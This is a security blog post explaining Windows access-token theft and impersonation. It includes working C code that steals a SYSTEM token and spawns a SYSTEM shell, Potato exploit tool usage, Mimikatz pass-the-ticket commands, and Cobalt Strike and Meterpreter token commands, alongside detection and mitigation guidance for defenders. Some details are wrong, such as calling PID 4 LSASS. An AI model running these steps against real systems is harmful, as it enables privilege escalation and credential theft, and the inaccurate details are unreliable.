Back to Blog
Adversarial Machine Learning

Token Manipulation and Impersonation: Bypassing Windows Security Boundaries

OffSec Research Team
10 June 2026 • 09:00 AM13 min
Token Manipulation and Impersonation: Bypassing Windows Security Boundaries
TL;DR — Windows access tokens are kernel objects that define a thread's or process's security context — who it is, what groups it belongs to, what privileges it holds, and what integrity level it runs at. Attackers who have code execution in a process can steal, duplicate, or forge tokens to impersonate higher-privileged identities, pivot between sessions, or assume domain accounts without knowing their credentials. This article covers the Windows token architecture in depth, the principal abuse primitives (ImpersonateLoggedOnUser, DuplicateTokenEx, CreateProcessWithTokenW), the Potato exploit family, pass-the-token techniques, and the detection and mitigation controls defenders should deploy.

Windows Access Token Architecture

Every process running on Windows has a primary token — a kernel object that embeds the security context for that process. The primary token is inherited from the parent at process creation and can only be replaced by kernel-mode code or specific privileged APIs. Additionally, every thread can optionally hold an impersonation token — a temporary override of the process primary that applies only to that specific thread for the duration of the impersonation.

The kernel always checks the thread token first. If the thread has an impersonation token active, all access control decisions for that thread are made against the impersonation token. If no impersonation token is present, the process primary token is used. This design is what enables Windows services to temporarily impersonate a connected client's security context — and what allows attackers to "borrow" a higher-privileged identity.

Token Fields Relevant to Privilege Escalation

FieldDescriptionAttacker Relevance
User SIDPrimary identity of the token (who it is)Impersonate a domain admin SID
Group SIDsGroup memberships embedded in the tokenInherit DA group access rights
PrivilegesEnabled/disabled privilege set (SeDebugPrivilege etc.)Enable SeDebugPrivilege → LSASS access
Integrity LevelMandatory Integrity Control label (Low/Medium/High/System)Must be High/System for most privesc steps
Logon Session IDLUID of the associated logon sessionCredential access via logon session
Authentication IDOpaque identifier linking token to a credential cacheRelevant for Kerberos ticket access
Token TypePrimary vs ImpersonationGoverns what operations are permitted
Impersonation LevelAnonymous/Identification/Impersonation/DelegationDelegation required for network-auth pass-through

Integrity Levels (Mandatory Integrity Control)

Windows Vista introduced Mandatory Integrity Control (MIC). Every object and every subject carries an integrity label:

shell
Low     (0x1000)  — sandboxed browsers, downloaded contentMedium  (0x2000)  — standard user processes (default)High    (0x3000)  — administrator processes (UAC-elevated)System  (0x4000)  — SYSTEM services, kernel components

A process running at Medium integrity cannot write to an object owned by a High-integrity process. Most token manipulation attacks target the transition from Medium to High or System.

Privilege Enabling via AdjustTokenPrivileges

Tokens often carry privileges in a disabled state. An attacker who has a handle to a token that contains a privilege can enable it without re-authenticating:

c
BOOL EnablePrivilege(HANDLE hToken, LPCWSTR privName) {    TOKEN_PRIVILEGES tp = {1};    if (!LookupPrivilegeValueW(NULL, privName, &tp.Privileges[0].Luid))        return FALSE;    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;    return AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);} // Enable SeDebugPrivilege on the current process tokenHANDLE hToken;OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);EnablePrivilege(hToken, SE_DEBUG_NAME);// Now: OpenProcess(PROCESS_ALL_ACCESS) against any process including LSASS

With SeDebugPrivilege enabled:

  • Open any process (including LSASS) with PROCESS_ALL_ACCESS
  • Read LSASS memory for credential extraction
  • Inject shellcode into any process

SeImpersonatePrivilege is even more valuable — it allows calling ImpersonateLoggedOnUser with any duplicated token.

Token Theft via DuplicateTokenEx

DuplicateTokenEx creates a copy of an existing token. The attacker needs:

  • A handle to a SYSTEM process (PROCESS_QUERY_INFORMATION or PROCESS_ALL_ACCESS)
  • SeDebugPrivilege to open protected processes
c
HANDLE StealSystemToken(DWORD sysPid) {    // Step 1: Open the SYSTEM process    HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, sysPid);    if (!hProc) return NULL;        // Step 2: Open its primary token    HANDLE hToken;    if (!OpenProcessToken(hProc, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {        CloseHandle(hProc);        return NULL;    }        // Step 3: Duplicate as an impersonation token    HANDLE hDupToken;    SECURITY_ATTRIBUTES sa = {sizeof(sa), NULL, TRUE};    DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, &sa,                     SecurityImpersonation, TokenImpersonation, &hDupToken);        CloseHandle(hToken);    CloseHandle(hProc);    return hDupToken;} // Step 4: Impersonate on the current threadHANDLE hSysToken = StealSystemToken(system_pid);ImpersonateLoggedOnUser(hSysToken);// Current thread now runs as SYSTEM// ... perform privileged operations ...RevertToSelf();CloseHandle(hSysToken);

CreateProcessWithTokenW — Spawn a Privileged Child Process

Thread-level impersonation is insufficient when a fully privileged process is needed. CreateProcessWithTokenW spawns a child process inheriting a stolen primary token:

c
HANDLE SpawnAsSystem(HANDLE hStolenToken) {    // Convert impersonation token to primary token    HANDLE hPrimary;    DuplicateTokenEx(hStolenToken, TOKEN_ALL_ACCESS, NULL,                     SecurityImpersonation, TokenPrimary, &hPrimary);        STARTUPINFOW si = {sizeof(si)};    PROCESS_INFORMATION pi;        BOOL ok = CreateProcessWithTokenW(        hPrimary,        LOGON_NETCREDENTIALS_ONLY,        L"C:\\Windows\\System32\\cmd.exe",        NULL, 0, NULL,        L"C:\\Windows\\System32",        &si, &pi    );        CloseHandle(hPrimary);    if (ok) return pi.hProcess;    return NULL;}

The resulting cmd.exe runs with the SYSTEM primary token — equivalent to a SYSTEM-level interactive shell.

The Potato Family — Token Impersonation via Coercion

The "Potato" exploit family coerces Windows services running as SYSTEM to authenticate to an attacker-controlled endpoint, where the attacker captures and impersonates the resulting SYSTEM token.

diagram — rendering…
sequenceDiagram
    participant A as Attacker (SERVICE account)
    participant P as Attacker Pipe / COM Object
    participant W as SYSTEM Service (e.g., Print Spooler)
    A->>W: Trigger service to authenticate<br/>(e.g., PrinterChangeNotification RPC)
    W->>P: SYSTEM authenticates to attacker's endpoint
    P->>A: Capture SYSTEM token via ImpersonateNamedPipeClient<br/>or CoImpersonateClient
    A->>A: DuplicateTokenEx → CreateProcessWithTokenW
    Note over A: Now executing as SYSTEM
    style W fill:#2a0c14,stroke:#ef233c,color:#fee2e2

Required Condition: SeImpersonatePrivilege

The Potato family requires SeImpersonatePrivilege. This privilege is held by default by:

  • `SERVICE` accounts (IIS application pools, SQL Server service, etc.)
  • `NETWORK SERVICE`
  • `LOCAL SERVICE`
  • All local Administrators (when elevated)

Any service account compromise — a common post-initial-access condition — immediately grants Potato capability.

Key Potato Variants

ToolMechanismRequired PrivilegePatch Status
RottenPotatoDCOM COM+ server coercion + pipeSeImpersonatePatched MS16-075 (but technique extended)
JuicyPotatoCLSID-selectable DCOM coercionSeImpersonatePatched in Windows 10 1809+ (DCOM change)
PrintSpooferSpoolSS RPC callback + named pipeSeImpersonateStill viable on unpatched systems
SweetPotatoCOM activation via named pipeSeImpersonateWorks on patched JuicyPotato targets
RoguePotatoCustom OXID resolver + named pipeSeImpersonateModern variant — widely used
GodPotato.NET ImpersonateLoggedOnUser via IID_IUnknownSeImpersonateCurrent state-of-the-art (2023)
shell
# PrintSpoofer usagePrintSpoofer.exe -i -c cmd  # spawns cmd as SYSTEM interactively # GodPotato usage (more reliable on modern Windows)GodPotato.exe -cmd "cmd /c payload.exe"

Pass-the-Token and Kerberos Injection

Beyond stealing tokens from local processes, attackers who have Mimikatz or similar tools can extract Kerberos tickets from LSASS and inject them into the current session:

shell
mimikatz# privilege::debugmimikatz# sekurlsa::tickets /exportmimikatz# kerberos::ptt administrator_ticket.kirbi# Current process now presents administrator's Kerberos ticket

token::elevate in Mimikatz automates the token theft workflow:

shell
mimikatz# token::elevate# Searches all processes, finds a SYSTEM token, impersonates it# All subsequent mimikatz commands run as SYSTEM

NtCreateToken — Token Forgery from Scratch

NtCreateToken (an undocumented native API) creates a completely arbitrary token from scratch, specifying any SID, group membership, privilege set, and integrity level. However, calling it requires SeCreateTokenPrivilege — held only by LSASS and specific LocalSystem-class processes. In practice, this is only reachable after achieving code execution in LSASS or via a vulnerability that grants the privilege.

Detection Strategy

diagram — rendering…
flowchart TD
    A["Token Manipulation Detection"] --> B["Event ID 4672: Special privileges assigned on logon<br/>(SeDebugPrivilege, SeImpersonatePrivilege)"]
    A --> C["Event ID 4648: A logon was attempted with explicit credentials<br/>(CreateProcessWithLogonW family calls)"]
    A --> D["ETW: OpenProcess(PROCESS_QUERY_INFORMATION) on LSASS PID<br/>from non-security-tool processes"]
    A --> E["DuplicateTokenEx + ImpersonateLoggedOnUser sequence<br/>from non-service process — EDR behavioural rule"]
    A --> F["Named pipe created + SpoolSS connection<br/>(PrintSpoofer / PrinterChangeNotification pattern)"]
    A --> G["Sysmon EventID 10 (Process Access):<br/>low-integrity process opens high-integrity process handle"]
    style A fill:#0c2a22,stroke:#21d48e,color:#d1fae5

Specific Mitigations

  • Restrict `SeImpersonatePrivilege`. Audit all service accounts that hold this privilege and remove it where not needed. Many IIS application pools and SQL Server service accounts can have this removed without operational impact. Use secpol.msc → Local Policies → User Rights Assignment → Impersonate a client after authentication to control assignment.
  • Disable the Print Spooler service on non-print servers. PrintSpoofer and related Potato variants depend on the print service RPC callback. Stop-Service -Name Spooler; Set-Service -Name Spooler -StartupType Disabled eliminates this entire coercion vector.
  • Protected Process Light (PPL) for LSASS. Configure LSASS to run as a PPL via registry (HKLM\SYSTEM\CurrentControlSet\Control\Lsa → RunAsPPL = 1). PPL prevents even SYSTEM-level processes from obtaining PROCESS_ALL_ACCESS handles to LSASS, significantly raising the cost of token theft from the local process table.
  • Audit privilege use (Event ID 4673/4674). Enable "Audit Privilege Use" in the Windows audit policy. SeDebugPrivilege use events provide visibility into when the privilege is exercised, not just when it is assigned.
  • Monitor for process integrity level transitions. A Medium-integrity process creating a High-integrity child through any mechanism other than a UAC prompt is anomalous. EDR products typically alert on this automatically; verify your detection policy covers it.

Token Manipulation in Red Team Operations

In a typical red team operation, token manipulation appears at several phases:

Phase 1 — Initial foothold (Standard User context):

  • Enable SeImpersonatePrivilege if available (service account compromise)
  • Use Potato variant to escalate to SYSTEM

Phase 2 — Local admin context:

  • Enable SeDebugPrivilege
  • Steal tokens from LSASS or running SYSTEM processes via DuplicateTokenEx
  • Create SYSTEM-level processes for persistence

Phase 3 — Domain traversal:

  • Extract Kerberos TGTs from LSASS (sekurlsa::tickets)
  • Pass-the-ticket to impersonate domain admin without credentials
  • Use CreateProcessWithTokenW with DA token to spawn domain-privileged processes

Token Manipulation in Automated Red Team Tooling

Modern red team frameworks automate the entire token manipulation workflow:

Cobalt Strike Token Commands

shell
beacon> getuid                          # Show current identitybeacon> steal_token <pid>               # Steal token from process PIDbeacon> make_token DOMAIN\user password  # Create impersonation token with credentialsbeacon> rev2self                        # Revert to original tokenbeacon> spawnas DOMAIN\admin password cmd.exe  # Spawn process as another user

steal_token internally calls OpenProcess → OpenProcessToken → DuplicateTokenEx → ImpersonateLoggedOnUser. It requires SeDebugPrivilege for processes of higher integrity.

Meterpreter Token Module

shell
meterpreter> use incognitometerpreter> list_tokens -u               # List available tokensmeterpreter> impersonate_token "DOMAIN\\admin"   # Impersonate named tokenmeterpreter> getuid                       # Verify

The Incognito module (part of Metasploit) was one of the first public implementations of token impersonation in a post-exploitation framework, dating to 2006.

PowerSploit / PowerView Token Functions

powershell
# From PowerSploitInvoke-TokenManipulation -ImpersonateUser -Username "DOMAIN\admin"Invoke-TokenManipulation -CreateProcess -Username "DOMAIN\admin" -Process "cmd.exe" # RevertInvoke-TokenManipulation -RevToSelf

Forensic Artefacts of Token Manipulation

Token theft and impersonation operations leave specific forensic artefacts:

ArtefactLocationNotes
Event ID 4672Security event logSpecial privileges (SeDebug) assigned
Event ID 4648Security event logExplicit credential use in CreateProcessWithLogon family
Event ID 4624 (Type 9)Security event logNewCredentials logon — make_token equivalent
Handle open to LSASSSysmon Event 10Process access to PID 4 (LSASS)
Named pipe \\.\pipe\spoolssSysmon Event 17/18PrintSpoofer trigger
CreateRemoteThread into elevated processSysmon Event 8Escalation via code injection chain

A key forensic observation: make_token (Cobalt Strike) and similar functions that create a synthetic token using LogonUser generate Event ID 4624 Type 9 (NewCredentials logon) — a logon event with no corresponding interactive session. This is a reliable detection signal for credential-based token manipulation.

Token Manipulation in the MITRE ATT&CK Framework

Token-based privilege escalation maps to several ATT&CK techniques:

ATT&CK IDTechniqueToken Method
T1134.001Token Impersonation/TheftDuplicateTokenEx + ImpersonateLoggedOnUser
T1134.002Create Process with TokenCreateProcessWithTokenW
T1134.003Make/Impersonate TokenLogonUser + impersonation
T1134.004Parent PID SpoofingPROC_THREAD_ATTRIBUTE_PARENT_PROCESS
T1134.005SID-History InjectionRequires DC access — adds SID to token
T1055Process InjectionOften follows token theft to inject into elevated target

Understanding the ATT&CK mapping helps blue teams align detection rules to the specific sub-techniques and ensures coverage for each variant.

Hardening Beyond Detection: Preventive Controls

Detection is reactive; prevention is more valuable when achievable:

  • Windows Defender Credential Guard: Virtualises LSASS into a Secure World process (VSM). Even with SeDebugPrivilege, obtaining usable credentials from LSASS is prevented. Does not prevent token theft from other SYSTEM processes, but removes the most valuable target.
  • Tiered Administration (Active Directory Tier Model): Separate DA credentials, workstation admin credentials, and standard accounts into tiers that can never touch the same endpoints. Prevents token theft from lateral movement — a DA token can only be stolen from a Tier 0 asset, which is heavily monitored.
  • Local Administrator Password Solution (LAPS): Unique per-machine local admin passwords prevent pass-the-hash / token theft across the entire workstation fleet from a single compromised credential.
  • Just-In-Time (JIT) Privileged Access: Issue time-limited privileged tokens (Azure AD PIM, CyberArk) rather than persistent DA memberships. A stolen token expires within hours.

Real-World Token Theft: APT and Ransomware Group Behaviour

Token manipulation is not an academic exercise — it appears consistently in real-world intrusions:

Conti Ransomware Operations (2020–2022): Conti TTP playbooks (leaked in 2022) explicitly document token impersonation steps following initial access, using a combination of steal_token in Cobalt Strike and manual Potato exploitation on service accounts.

FIN7/Carbanak Group: Known to use createremotethread + token theft to move between processes during lateral movement, specifically targeting high-privilege service accounts in point-of-sale environments.

LAPSUS$ Group (2021–2022): Used MFA fatigue combined with insider access to obtain service account credentials, then leveraged SeImpersonatePrivilege on cloud-connected build agents to escalate to SYSTEM and extract source code.

Common Thread: In every case, the escalation path from "service account code execution" to "SYSTEM/Domain Admin" was enabled by SeImpersonatePrivilege + Potato-family exploitation. Removing this privilege from service accounts would have broken the escalation chain at a critical point.

The lesson for defenders: audit SeImpersonatePrivilege holders proactively, not reactively. The list of accounts that legitimately need this privilege in your environment is much smaller than you think.

Conclusion

Windows access token manipulation is the kernel security model's attack surface closest to the identity layer. Where password-based lateral movement requires credential theft, token manipulation requires only process handle access — achievable with SeDebugPrivilege from any high-integrity process, or with SeImpersonatePrivilege from any service account. The Potato exploit family extends this to service accounts specifically by coercing SYSTEM service authentication, making any service account compromise a potential SYSTEM escalation.

Defenders who understand this threat model can dramatically reduce attack surface by auditing SeImpersonatePrivilege assignments, disabling unnecessary services (particularly Print Spooler), and protecting LSASS with PPL. The detection layer relies on correlating handle access events, privilege use events, and integrity level transition telemetry — signals that token manipulation inevitably generates regardless of how carefully the attack is executed.